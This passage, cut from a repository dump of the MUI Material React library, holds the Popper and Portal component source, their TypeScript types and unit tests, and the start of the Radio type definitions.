most of its features are fully encapsulated \"modifiers\".\n   *\n   * A modifier is a function that is called each time Popper.js needs to\n   * compute the position of the popper.\n   * For this reason, modifiers should be very performant to avoid bottlenecks.\n   * To learn how to create a modifier, [read the modifiers documentation](https://popper.js.org/docs/v2/modifiers/).\n   */\n  modifiers?: Options['modifiers'] | undefined;\n  /**\n   * If `true`, the component is shown.\n   */\n  open: boolean;\n  /**\n   * Popper placement.\n   * @default 'bottom'\n   */\n  placement?: PopperPlacementType | undefined;\n  /**\n   * Options provided to the [`Popper.js`](https://popper.js.org/docs/v2/constructors/#options) instance.\n   * @default {}\n   */\n  popperOptions?: Partial<OptionsGeneric<any>> | undefined;\n  /**\n   * A ref that points to the used popper instance.\n   */\n  popperRef?: React.Ref<Instance> | undefined;\n  /**\n   * The props used for each slot inside the Popper.\n   * @default {}\n   */\n  slotProps?:\n    | {\n        root?:\n          | SlotComponentProps<'div', PopperRootSlotPropsOverrides, PopperOwnerState>\n          | undefined;\n      }\n    | undefined;\n  /**\n   * The components used for each slot inside the Popper.\n   * Either a string to use a HTML element or a component.\n   * @default {}\n   */\n  slots?: PopperSlots | undefined;\n  /**\n   * Help supporting a react-transition-group/Transition component.\n   * @default false\n   */\n  transition?: boolean | undefined;\n}\n\nexport interface PopperSlots {\n  /**\n   * The component that renders the root.\n   * @default 'div'\n   */\n  root?: React.ElementType | undefined;\n}\n\nexport type PopperOwnerState = PopperOwnProps;\n\nexport interface PopperTypeMap<\n  AdditionalProps = {},\n  RootComponentType extends React.ElementType = 'div',\n> {\n  props: PopperOwnProps & AdditionalProps;\n  defaultComponent: RootComponentType;\n}\n\nexport type PopperProps<\n  RootComponentType extends React.ElementType = PopperTypeMap['defaultComponent'],\n> = PolymorphicProps<PopperTypeMap<{}, RootComponentType>, RootComponentType>;\n\nexport type PopperTooltipOwnProps = Omit<\n  PopperOwnProps,\n  'container' | 'keepMounted' | 'transition'\n> & {\n  TransitionProps?: PopperTransitionProps | undefined;\n};\n\nexport interface PopperTooltipTypeMap<\n  AdditionalProps = {},\n  RootComponentType extends React.ElementType = 'div',\n> {\n  props: PopperTooltipOwnProps & AdditionalProps;\n  defaultComponent: RootComponentType;\n}\n\nexport type PopperTooltipProps<\n  RootComponentType extends React.ElementType = PopperTooltipTypeMap['defaultComponent'],\n> = PolymorphicProps<PopperTooltipTypeMap<{}, RootComponentType>, RootComponentType>;\n\nexport interface PopperRootSlotProps {\n  className?: string | undefined;\n  ref: React.Ref<any>;\n  ownerState: PopperOwnerState;\n}\n"
  },
  {
    "path": "packages/mui-material/src/Popper/Popper.spec.tsx",
    "content": "import * as React from 'react';\nimport { Instance } from '@popperjs/core';\nimport Tooltip from '@mui/material/Tooltip';\n\ninterface Props {\n  children: React.ReactElement<unknown>;\n  value: number;\n}\n\nexport default function ValueLabelComponent(props: Props) {\n  const { children, value } = props;\n\n  const popperRef = React.useRef<Instance>(null);\n  React.useEffect(() => {\n    if (popperRef.current) {\n      popperRef.current.update();\n    }\n  });\n\n  return (\n    <Tooltip\n      slotProps={{\n        popper: { popperRef },\n      }}\n      enterTouchDelay={0}\n      placement=\"top\"\n      title={value}\n    >\n      {children}\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/Popper/Popper.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer, fireEvent, screen, isJsdom } from '@mui/internal-test-utils';\nimport { ThemeProvider } from '@mui/system';\nimport createTheme from '@mui/system/createTheme';\nimport Grow from '@mui/material/Grow';\nimport Popper from '@mui/material/Popper';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Popper />', () => {\n  let rtlTheme;\n  const { clock, render } = createRenderer({ clock: 'fake' });\n\n  let defaultAnchorElm = null;\n\n  const defaultProps = {\n    anchorEl: () => defaultAnchorElm,\n    children: <span>Hello World</span>,\n    open: true,\n  };\n\n  beforeAll(() => {\n    rtlTheme = createTheme({\n      direction: 'rtl',\n    });\n    defaultAnchorElm = document.createElement('div');\n    document.body.appendChild(defaultAnchorElm);\n  });\n\n  afterAll(() => {\n    document.body.removeChild(defaultAnchorElm);\n  });\n\n  describeConformance(<Popper {...defaultProps} />, () => ({\n    classes: {},\n    inheritComponent: 'div',\n    render,\n    refInstanceof: window.HTMLDivElement,\n    slots: {\n      root: {},\n    },\n    skip: [\n      'componentProp',\n      'themeDefaultProps',\n      'themeStyleOverrides',\n      'themeVariants',\n      'slotPropsCallback', // not supported yet\n      'slotPropsCallbackWithPropsAsOwnerState', // not supported yet\n    ],\n  }));\n\n  describe('prop: placement', () => {\n    it('should have top placement', () => {\n      render(\n        <Popper {...defaultProps} placement=\"top\">\n          {({ placement }) => {\n            return <span data-testid=\"renderSpy\" data-placement={placement} />;\n          }}\n        </Popper>,\n      );\n\n      expect(screen.getByTestId('renderSpy')).to.have.attribute('data-placement', 'top');\n    });\n\n    [\n      {\n        in: 'bottom-end',\n        out: 'bottom-start',\n      },\n      {\n        in: 'bottom-start',\n        out: 'bottom-end',\n      },\n      {\n        in: 'top-end',\n        out: 'top-start',\n      },\n      {\n        in: 'top-start',\n        out: 'top-end',\n      },\n      {\n        in: 'top',\n        out: 'top',\n      },\n    ].forEach((test) => {\n      it(`should ${test.in === test.out ? 'not ' : ''}flip ${\n        test.in\n      } when direction=rtl is used`, () => {\n        function Test() {\n          const [anchorEl, setAnchorEl] = React.useState(null);\n\n          return (\n            <ThemeProvider theme={rtlTheme}>\n              <div style={{ margin: '5em' }} ref={setAnchorEl} />\n              <Popper anchorEl={anchorEl} open={Boolean(anchorEl)} placement={test.in}>\n                {({ placement }) => {\n                  return <div data-testid=\"placement\">{placement}</div>;\n                }}\n              </Popper>\n            </ThemeProvider>\n          );\n        }\n        render(<Test />);\n\n        expect(screen.getByTestId('placement')).to.have.text(test.out);\n      });\n    });\n\n    // JSDOM has no layout engine so PopperJS doesn't know that it should flip the placement.\n    it.skipIf(isJsdom())('should flip placement when edge is reached', async function test() {\n      const popperRef = React.createRef();\n      render(\n        <Popper popperRef={popperRef} {...defaultProps} placement=\"bottom\">\n          {({ placement }) => {\n            return <div data-testid=\"placement\">{placement}</div>;\n          }}\n        </Popper>,\n      );\n      expect(screen.getByTestId('placement')).to.have.text('bottom');\n\n      await popperRef.current.setOptions({ placement: 'top' });\n\n      expect(screen.getByTestId('placement')).to.have.text('bottom');\n    });\n  });\n\n  describe('prop: open', () => {\n    it('should open without any issue', () => {\n      const { setProps } = render(<Popper {...defaultProps} open={false} />);\n      expect(screen.queryByRole('tooltip')).to.equal(null);\n      setProps({ open: true });\n      expect(screen.getByRole('tooltip')).to.have.text('Hello World');\n    });\n\n    it('should close without any issue', () => {\n      const { setProps } = render(<Popper {...defaultProps} />);\n      expect(screen.getByRole('tooltip')).to.have.text('Hello World');\n      setProps({ open: false });\n      expect(screen.queryByRole('tooltip')).to.equal(null);\n    });\n  });\n\n  describe('prop: popperOptions', () => {\n    it('should pass all popperOptions to popperjs', () => {\n      const popperRef = React.createRef();\n      const { setProps } = render(\n        <Popper {...defaultProps} popperRef={popperRef} placement=\"top\" open />,\n      );\n\n      setProps({\n        popperOptions: {\n          placement: 'bottom',\n        },\n      });\n\n      expect(popperRef.current.state.placement).to.equal('bottom');\n    });\n  });\n\n  describe('prop: keepMounted', () => {\n    it('should keep the children mounted in the DOM', () => {\n      render(<Popper {...defaultProps} keepMounted open={false} />);\n      const tooltip = document.querySelector('[role=\"tooltip\"]');\n      expect(tooltip).to.have.text('Hello World');\n      expect(tooltip.style.display).to.equal('none');\n    });\n\n    describe('by default', () => {\n      // Test case for https://github.com/mui/material-ui/issues/15180\n      it('should remove the transition children in the DOM when closed whilst transition status is entering', () => {\n        const children = <p>Hello World</p>;\n\n        class OpenClose extends React.Component {\n          state = {\n            open: false,\n          };\n\n          handleClick = () => {\n            this.setState({ open: true }, () => {\n              this.setState({ open: false });\n            });\n          };\n\n          render() {\n            return (\n              <div>\n                <button type=\"button\" onClick={this.handleClick}>\n                  Toggle Tooltip\n                </button>\n                <Popper {...defaultProps} open={this.state.open} transition>\n                  {({ TransitionProps }) => (\n                    <Grow {...TransitionProps}>\n                      <span>{children}</span>\n                    </Grow>\n                  )}\n                </Popper>\n              </div>\n            );\n          }\n        }\n\n        render(<OpenClose />);\n        expect(document.querySelector('p')).to.equal(null);\n        fireEvent.click(screen.getByRole('button'));\n        expect(document.querySelector('p')).to.equal(null);\n      });\n    });\n  });\n\n  describe('prop: transition', () => {\n    clock.withFakeTimers();\n\n    it('should work', () => {\n      const { setProps } = render(\n        <Popper {...defaultProps} transition>\n          {({ TransitionProps }) => (\n            <Grow {...TransitionProps}>\n              <span>Hello World</span>\n            </Grow>\n          )}\n        </Popper>,\n      );\n\n      expect(screen.getByRole('tooltip')).to.have.text('Hello World');\n\n      setProps({ anchorEl: null, open: false });\n      clock.tick(0);\n\n      expect(screen.queryByRole('tooltip')).to.equal(null);\n    });\n  });\n\n  describe('prop: popperRef', () => {\n    it('should return a ref', () => {\n      const ref1 = React.createRef();\n      const ref2 = React.createRef();\n      const { setProps } = render(<Popper {...defaultProps} popperRef={ref1} />);\n      expect(ref1.current).not.to.equal(null);\n      setProps({\n        popperRef: ref2,\n      });\n      expect(ref1.current).to.equal(null);\n      expect(ref2.current).not.to.equal(null);\n    });\n  });\n\n  describe('prop: disablePortal', () => {\n    it('should work', () => {\n      const popperRef = React.createRef();\n\n      render(<Popper {...defaultProps} disablePortal popperRef={popperRef} />);\n\n      // renders\n      expect(screen.getByRole('tooltip')).not.to.equal(null);\n      // correctly sets modifiers\n      expect(popperRef.current.state.options.modifiers[0].options.altBoundary).to.equal(true);\n    });\n\n    it('sets preventOverflow altBoundary to false when disablePortal is false', () => {\n      const popperRef = React.createRef();\n      render(<Popper {...defaultProps} popperRef={popperRef} />);\n      // renders\n      expect(screen.getByRole('tooltip')).not.to.equal(null);\n      // correctly sets modifiers\n      expect(popperRef.current.state.options.modifiers[0].options.altBoundary).to.equal(false);\n    });\n  });\n\n  describe('display', () => {\n    clock.withFakeTimers();\n\n    it('should keep display:none when not toggled and transition/keepMounted/disablePortal props are set', () => {\n      const { setProps } = render(\n        <Popper {...defaultProps} open={false} keepMounted transition disablePortal>\n          {({ TransitionProps }) => (\n            <Grow {...TransitionProps}>\n              <span>Hello World</span>\n            </Grow>\n          )}\n        </Popper>,\n      );\n\n      expect(screen.getByRole('tooltip', { hidden: true }).style.display).to.equal('none');\n\n      setProps({ open: true });\n      clock.tick(0);\n\n      setProps({ open: false });\n      clock.tick(0);\n      expect(screen.getByRole('tooltip', { hidden: true }).style.display).to.equal('none');\n    });\n  });\n\n  describe('default props', () => {\n    it('should consume theme default props', () => {\n      const container = document.createElement('div');\n      const theme = createTheme({ components: { MuiPopper: { defaultProps: { container } } } });\n      render(\n        <ThemeProvider theme={theme}>\n          <Popper {...defaultProps} open>\n            <p id=\"content\">Hello World</p>\n          </Popper>\n        </ThemeProvider>,\n      );\n\n      expect(container).to.have.text('Hello World');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Popper/Popper.tsx",
    "content": "'use client';\nimport { SxProps } from '@mui/system';\nimport { useRtl } from '@mui/system/RtlProvider';\nimport refType from '@mui/utils/refType';\nimport HTMLElementType from '@mui/utils/HTMLElementType';\nimport PropTypes from 'prop-types';\nimport * as React from 'react';\nimport BasePopper from './BasePopper';\nimport { PopperProps as BasePopperProps } from './BasePopper.types';\nimport { Theme } from '../styles';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\n\nexport interface PopperProps extends Omit<BasePopperProps, 'direction'> {\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component?: React.ElementType | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nconst PopperRoot = styled(BasePopper, {\n  name: 'MuiPopper',\n  slot: 'Root',\n})({});\n\n/**\n *\n * Demos:\n *\n * - [Autocomplete](https://next.mui.com/material-ui/react-autocomplete/)\n * - [Menu](https://next.mui.com/material-ui/react-menu/)\n * - [Popper](https://next.mui.com/material-ui/react-popper/)\n *\n * API:\n *\n * - [Popper API](https://next.mui.com/material-ui/api/popper/)\n */\nconst Popper = React.forwardRef(function Popper(\n  inProps: PopperProps,\n  ref: React.ForwardedRef<HTMLDivElement>,\n) {\n  const isRtl = useRtl();\n  const props = useDefaultProps({\n    props: inProps,\n    name: 'MuiPopper',\n  });\n\n  const {\n    anchorEl,\n    component,\n    container,\n    disablePortal,\n    keepMounted,\n    modifiers,\n    open,\n    placement,\n    popperOptions,\n    popperRef,\n    transition,\n    slots,\n    slotProps,\n    ...other\n  } = props;\n\n  const otherProps = {\n    anchorEl,\n    container,\n    disablePortal,\n    keepMounted,\n    modifiers,\n    open,\n    placement,\n    popperOptions,\n    popperRef,\n    transition,\n    ...other,\n  };\n  return (\n    <PopperRoot\n      as={component}\n      direction={isRtl ? 'rtl' : 'ltr'}\n      slots={slots}\n      slotProps={slotProps}\n      {...otherProps}\n      ref={ref}\n    />\n  );\n}) as React.ForwardRefExoticComponent<PopperProps & React.RefAttributes<HTMLDivElement>>;\n\nPopper.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │ To update them, edit the TypeScript types and run `pnpm proptypes`. │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * An HTML element, [virtualElement](https://popper.js.org/docs/v2/virtual-elements/),\n   * or a function that returns either.\n   * It's used to set the position of the popper.\n   * The return value will passed as the reference object of the Popper instance.\n   */\n  anchorEl: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    HTMLElementType,\n    PropTypes.object,\n    PropTypes.func,\n  ]),\n  /**\n   * Popper render function or node.\n   */\n  children: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.node,\n    PropTypes.func,\n  ]),\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * An HTML element or function that returns one.\n   * The `container` will have the portal children appended to it.\n   *\n   * You can also provide a callback, which is called in a React layout effect.\n   * This lets you set the container from a ref, and also makes server-side rendering possible.\n   *\n   * By default, it uses the body of the top-level document object,\n   * so it's simply `document.body` most of the time.\n   */\n  container: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    HTMLElementType,\n    PropTypes.func,\n  ]),\n  /**\n   * The `children` will be under the DOM hierarchy of the parent component.\n   * @default false\n   */\n  disablePortal: PropTypes.bool,\n  /**\n   * Always keep the children in the DOM.\n   * This prop can be useful in SEO situation or\n   * when you want to maximize the responsiveness of the Popper.\n   * @default false\n   */\n  keepMounted: PropTypes.bool,\n  /**\n   * Popper.js is based on a \"plugin-like\" architecture,\n   * most of its features are fully encapsulated \"modifiers\".\n   *\n   * A modifier is a function that is called each time Popper.js needs to\n   * compute the position of the popper.\n   * For this reason, modifiers should be very performant to avoid bottlenecks.\n   * To learn how to create a modifier, [read the modifiers documentation](https://popper.js.org/docs/v2/modifiers/).\n   */\n  modifiers: PropTypes.arrayOf(\n    PropTypes.shape({\n      data: PropTypes.object,\n      effect: PropTypes.func,\n      enabled: PropTypes.bool,\n      fn: PropTypes.func,\n      name: PropTypes.any,\n      options: PropTypes.object,\n      phase: PropTypes.oneOf([\n        'afterMain',\n        'afterRead',\n        'afterWrite',\n        'beforeMain',\n        'beforeRead',\n        'beforeWrite',\n        'main',\n        'read',\n        'write',\n      ]),\n      requires: PropTypes.arrayOf(PropTypes.string),\n      requiresIfExists: PropTypes.arrayOf(PropTypes.string),\n    }),\n  ),\n  /**\n   * If `true`, the component is shown.\n   */\n  open: PropTypes.bool.isRequired,\n  /**\n   * Popper placement.\n   * @default 'bottom'\n   */\n  placement: PropTypes.oneOf([\n    'auto-end',\n    'auto-start',\n    'auto',\n    'bottom-end',\n    'bottom-start',\n    'bottom',\n    'left-end',\n    'left-start',\n    'left',\n    'right-end',\n    'right-start',\n    'right',\n    'top-end',\n    'top-start',\n    'top',\n  ]),\n  /**\n   * Options provided to the [`Popper.js`](https://popper.js.org/docs/v2/constructors/#options) instance.\n   * @default {}\n   */\n  popperOptions: PropTypes.shape({\n    modifiers: PropTypes.array,\n    onFirstUpdate: PropTypes.func,\n    placement: PropTypes.oneOf([\n      'auto-end',\n      'auto-start',\n      'auto',\n      'bottom-end',\n      'bottom-start',\n      'bottom',\n      'left-end',\n      'left-start',\n      'left',\n      'right-end',\n      'right-start',\n      'right',\n      'top-end',\n      'top-start',\n      'top',\n    ]),\n    strategy: PropTypes.oneOf(['absolute', 'fixed']),\n  }),\n  /**\n   * A ref that points to the used popper instance.\n   */\n  popperRef: refType,\n  /**\n   * The props used for each slot inside the Popper.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside the Popper.\n   * Either a string to use a HTML element or a component.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    root: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * Help supporting a react-transition-group/Transition component.\n   * @default false\n   */\n  transition: PropTypes.bool,\n} as any;\n\nexport default Popper;\n"
  },
  {
    "path": "packages/mui-material/src/Popper/index.d.ts",
    "content": "export { default } from './Popper';\nexport * from './Popper';\nexport { default as popperClasses } from './popperClasses';\nexport * from './popperClasses';\nexport { PopperPlacementType } from './BasePopper.types';\n"
  },
  {
    "path": "packages/mui-material/src/Popper/index.js",
    "content": "export { default } from './Popper';\nexport { default as popperClasses } from './popperClasses';\nexport * from './popperClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Popper/popperClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface PopperClasses {\n  /** Class name applied to the root element. */\n  root: string;\n}\n\nexport type PopperClassKey = keyof PopperClasses;\n\nexport function getPopperUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiPopper', slot);\n}\n\nconst popperClasses: PopperClasses = generateUtilityClasses('MuiPopper', ['root']);\n\nexport default popperClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Portal/Portal.test.tsx",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer, reactMajor, isJsdom } from '@mui/internal-test-utils';\nimport Portal, { PortalProps } from '@mui/material/Portal';\n\ndescribe('<Portal />', () => {\n  const { render, renderToString } = createRenderer();\n\n  describe.skipIf(!isJsdom())('server-side', () => {\n    it('render nothing on the server', () => {\n      const { container } = renderToString(\n        <Portal>\n          <div>Bar</div>\n        </Portal>,\n      );\n      expect(container.firstChild).to.equal(null);\n    });\n  });\n\n  describe('ref', () => {\n    it('should have access to the mountNode when disabledPortal={false}', () => {\n      const refSpy = spy();\n      const { unmount } = render(\n        <Portal ref={refSpy}>\n          <h1>Foo</h1>\n        </Portal>,\n      );\n      expect(refSpy.args).to.deep.equal([[document.body]]);\n      unmount();\n      expect(refSpy.args).to.deep.equal([[document.body], [null]]);\n    });\n\n    it('should have access to the mountNode when disabledPortal={true}', () => {\n      const refSpy = spy();\n      const { unmount } = render(\n        <Portal disablePortal ref={refSpy}>\n          <h1 className=\"woofPortal\">Foo</h1>\n        </Portal>,\n        { strict: reactMajor <= 18 },\n      );\n      const mountNode = document.querySelector('.woofPortal');\n      expect(refSpy.args).to.deep.equal([[mountNode]]);\n      unmount();\n      expect(refSpy.args).to.deep.equal([[mountNode], [null]]);\n    });\n\n    it('should have access to the mountNode when switching disabledPortal', () => {\n      const refSpy = spy();\n      const { setProps, unmount } = render(\n        <Portal disablePortal ref={refSpy}>\n          <h1 className=\"woofPortal\">Foo</h1>\n        </Portal>,\n        { strict: reactMajor <= 18 },\n      );\n      const mountNode = document.querySelector('.woofPortal');\n      expect(refSpy.args).to.deep.equal([[mountNode]]);\n      setProps({\n        disablePortal: false,\n        ref: refSpy,\n      });\n      expect(refSpy.args).to.deep.equal([[mountNode], [null], [document.body]]);\n      unmount();\n      expect(refSpy.args).to.deep.equal([[mountNode], [null], [document.body], [null]]);\n    });\n  });\n\n  it('should render in a different node', () => {\n    render(\n      <div id=\"test1\">\n        <h1 className=\"woofPortal1\">Foo</h1>\n        <Portal>\n          <h1 className=\"woofPortal2\">Foo</h1>\n        </Portal>\n      </div>,\n    );\n    const rootElement = document.querySelector<HTMLDivElement>('#test1')!;\n    expect(rootElement.contains(document.querySelector('.woofPortal1'))).to.equal(true);\n    expect(rootElement.contains(document.querySelector('.woofPortal2'))).to.equal(false);\n  });\n\n  it('should unmount when parent unmounts', () => {\n    function Child() {\n      const containerRef = React.useRef<HTMLDivElement>(null);\n      return (\n        <div>\n          <div ref={containerRef} />\n          <Portal container={() => containerRef.current}>\n            <div id=\"test1\" />\n          </Portal>\n        </div>\n      );\n    }\n\n    function Parent(props: { show?: boolean }) {\n      const { show = true } = props;\n      return <div>{show ? <Child /> : null}</div>;\n    }\n\n    const { setProps } = render(<Parent />);\n    expect(document.querySelectorAll('#test1').length).to.equal(1);\n    setProps({ show: false });\n    expect(document.querySelectorAll('#test1').length).to.equal(0);\n  });\n\n  it('should render overlay into container (document)', () => {\n    render(\n      <Portal>\n        <div className=\"test2\" />\n        <div className=\"test2\" />\n      </Portal>,\n    );\n    expect(document.querySelectorAll('.test2').length).to.equal(2);\n  });\n\n  it('should render overlay into container (DOMNode)', () => {\n    const container = document.createElement('div');\n    render(\n      <Portal container={container}>\n        <div id=\"test2\" />\n      </Portal>,\n    );\n    expect(container.querySelectorAll('#test2').length).to.equal(1);\n  });\n\n  it('should change container on prop change', () => {\n    type ContainerProps = {\n      disablePortal?: boolean;\n      containerElement?: boolean;\n    };\n    function ContainerTest(props: ContainerProps) {\n      const { containerElement = false, disablePortal = true } = props;\n      const containerRef = React.useRef<HTMLElement>(null);\n      const container = React.useCallback(\n        () => (containerElement ? containerRef.current : null),\n        [containerElement],\n      );\n\n      return (\n        <span>\n          <strong ref={containerRef} />\n          <Portal disablePortal={disablePortal} container={container}>\n            <div id=\"test3\" />\n          </Portal>\n        </span>\n      );\n    }\n\n    const { setProps } = render(<ContainerTest />);\n\n    expect(document.querySelector('#test3')?.parentElement?.nodeName).to.equal('SPAN');\n    setProps({\n      containerElement: true,\n      disablePortal: true,\n    });\n    expect(document.querySelector('#test3')?.parentElement?.nodeName).to.equal('SPAN');\n    setProps({\n      containerElement: true,\n      disablePortal: false,\n    });\n    expect(document.querySelector('#test3')?.parentElement?.nodeName).to.equal('STRONG');\n    setProps({\n      containerElement: false,\n      disablePortal: false,\n    });\n    expect(document.querySelector('#test3')?.parentElement?.nodeName).to.equal('BODY');\n  });\n\n  it('should call ref after child effect', () => {\n    const callOrder: Array<string> = [];\n    const handleRef = (node: Element | null) => {\n      if (node) {\n        callOrder.push('ref');\n      }\n    };\n    const updateFunction = () => {\n      callOrder.push('effect');\n    };\n\n    function Test(props: PortalProps) {\n      const { container } = props;\n      const containerRef = React.useRef<PortalProps['container']>(null);\n\n      React.useEffect(() => {\n        if (containerRef.current !== container) {\n          updateFunction();\n        }\n        containerRef.current = container;\n      }, [container]);\n\n      return (\n        <Portal ref={handleRef} container={container}>\n          <div />\n        </Portal>\n      );\n    }\n\n    const { setProps } = render(<Test container={document.createElement('div')} />);\n\n    setProps({ container: null });\n    setProps({ container: document.createElement('div') });\n    setProps({ container: null });\n\n    expect(callOrder).to.deep.equal([\n      'effect',\n      'ref',\n      'effect',\n      'ref',\n      'effect',\n      'ref',\n      'effect',\n      'ref',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Portal/Portal.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport * as ReactDOM from 'react-dom';\nimport PropTypes from 'prop-types';\nimport useEnhancedEffect from '@mui/utils/useEnhancedEffect';\nimport useForkRef from '@mui/utils/useForkRef';\nimport setRef from '@mui/utils/setRef';\nimport getReactElementRef from '@mui/utils/getReactElementRef';\nimport exactProp from '@mui/utils/exactProp';\nimport HTMLElementType from '@mui/utils/HTMLElementType';\nimport { PortalProps } from './Portal.types';\n\nfunction getContainer(container: PortalProps['container']) {\n  return typeof container === 'function' ? container() : container;\n}\n\n/**\n * Portals provide a first-class way to render children into a DOM node\n * that exists outside the DOM hierarchy of the parent component.\n *\n * Demos:\n *\n * - [Portal](https://next.mui.com/material-ui/react-portal/)\n *\n * API:\n *\n * - [Portal API](https://next.mui.com/material-ui/api/portal/)\n */\nconst Portal = React.forwardRef(function Portal(\n  props: PortalProps,\n  forwardedRef: React.ForwardedRef<Element>,\n) {\n  const { children, container, disablePortal = false } = props;\n  const [mountNode, setMountNode] = React.useState<ReturnType<typeof getContainer>>(null);\n\n  const handleRef = useForkRef(\n    React.isValidElement(children) ? getReactElementRef(children) : null,\n    forwardedRef,\n  );\n\n  useEnhancedEffect(() => {\n    if (!disablePortal) {\n      setMountNode(getContainer(container) || document.body);\n    }\n  }, [container, disablePortal]);\n\n  useEnhancedEffect(() => {\n    if (mountNode && !disablePortal) {\n      setRef(forwardedRef, mountNode);\n      return () => {\n        setRef(forwardedRef, null);\n      };\n    }\n\n    return undefined;\n  }, [forwardedRef, mountNode, disablePortal]);\n\n  if (disablePortal) {\n    if (React.isValidElement(children)) {\n      const newProps = {\n        ref: handleRef,\n      };\n      return React.cloneElement(children, newProps);\n    }\n    return children;\n  }\n\n  return mountNode ? ReactDOM.createPortal(children, mountNode) : mountNode;\n}) as React.ForwardRefExoticComponent<PortalProps & React.RefAttributes<Element>>;\n\nPortal.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │ To update them, edit the TypeScript types and run `pnpm proptypes`. │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The children to render into the `container`.\n   */\n  children: PropTypes.node,\n  /**\n   * An HTML element or function that returns one.\n   * The `container` will have the portal children appended to it.\n   *\n   * You can also provide a callback, which is called in a React layout effect.\n   * This lets you set the container from a ref, and also makes server-side rendering possible.\n   *\n   * By default, it uses the body of the top-level document object,\n   * so it's simply `document.body` most of the time.\n   */\n  container: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    HTMLElementType,\n    PropTypes.func,\n  ]),\n  /**\n   * The `children` will be under the DOM hierarchy of the parent component.\n   * @default false\n   */\n  disablePortal: PropTypes.bool,\n} as any;\n\nif (process.env.NODE_ENV !== 'production') {\n  // eslint-disable-next-line\n  (Portal as any)['propTypes' + ''] = exactProp((Portal as any).propTypes);\n}\n\nexport default Portal;\n"
  },
  {
    "path": "packages/mui-material/src/Portal/Portal.types.ts",
    "content": "import * as React from 'react';\n\nexport interface PortalProps {\n  /**\n   * The children to render into the `container`.\n   */\n  children?: React.ReactNode;\n  /**\n   * An HTML element or function that returns one.\n   * The `container` will have the portal children appended to it.\n   *\n   * You can also provide a callback, which is called in a React layout effect.\n   * This lets you set the container from a ref, and also makes server-side rendering possible.\n   *\n   * By default, it uses the body of the top-level document object,\n   * so it's simply `document.body` most of the time.\n   */\n  container?: Element | (() => Element | null) | null | undefined;\n  /**\n   * The `children` will be under the DOM hierarchy of the parent component.\n   * @default false\n   */\n  disablePortal?: boolean | undefined;\n}\n"
  },
  {
    "path": "packages/mui-material/src/Portal/index.d.ts",
    "content": "export { default } from './Portal';\nexport * from './Portal';\nexport * from './Portal.types';\n"
  },
  {
    "path": "packages/mui-material/src/Portal/index.js",
    "content": "export { default } from './Portal';\n"
  },
  {
    "path": "packages/mui-material/src/Radio/Radio.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\nimport { SwitchBaseProps } from '../internal/SwitchBase';\nimport { RadioClasses } from './radioClasses';\n\nexport interface RadioPropsSizeOverrides {}\n\nexport interface RadioPropsColorOverrides {}\n\nexport interface RadioRootSlotPropsOverrides {}\n\nexport interface RadioInputSlotPropsOverrides {}\n\nexport interface RadioSlots {\n  /**\n   * The component that renders the root slot.\n   * @default SwitchBase\n   */\n  root: React.ElementType;\n  /**\n   * The component that renders the input slot.\n   * @default SwitchBase's input\n   */\n  input: React.ElementType;\n}\n\nexport type RadioSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  RadioSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the span element.\n     */\n    root: SlotProps<\n      React.ElementType<SwitchBaseProps>,\n      RadioRootSlotPropsOverrides,\n      RadioOwnerState\n    >;\n    /**\n     * Props forwarded to the input slot.\n     * By default, the available props are based on the input element.\n     */\n    input: SlotProps<'input', RadioInputSlotPropsOverrides, RadioOwnerState>;\n  }\n>;\n\nexport interface RadioProps\n  extends\n    StandardProps<\n      SwitchBaseProps,\n      'checkedIcon' | 'color' | 'icon' | 'type' | 'slots' | 'slotProps'\n    >,\n    RadioSlotsAndSlotProps {\n  /**\n   * The icon to display when the component is checked.\n   * @default <RadioButtonIcon checked />\n   */\n  checkedIcon?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<RadioClasses> | undefined;\n  /**\n   * The color of the 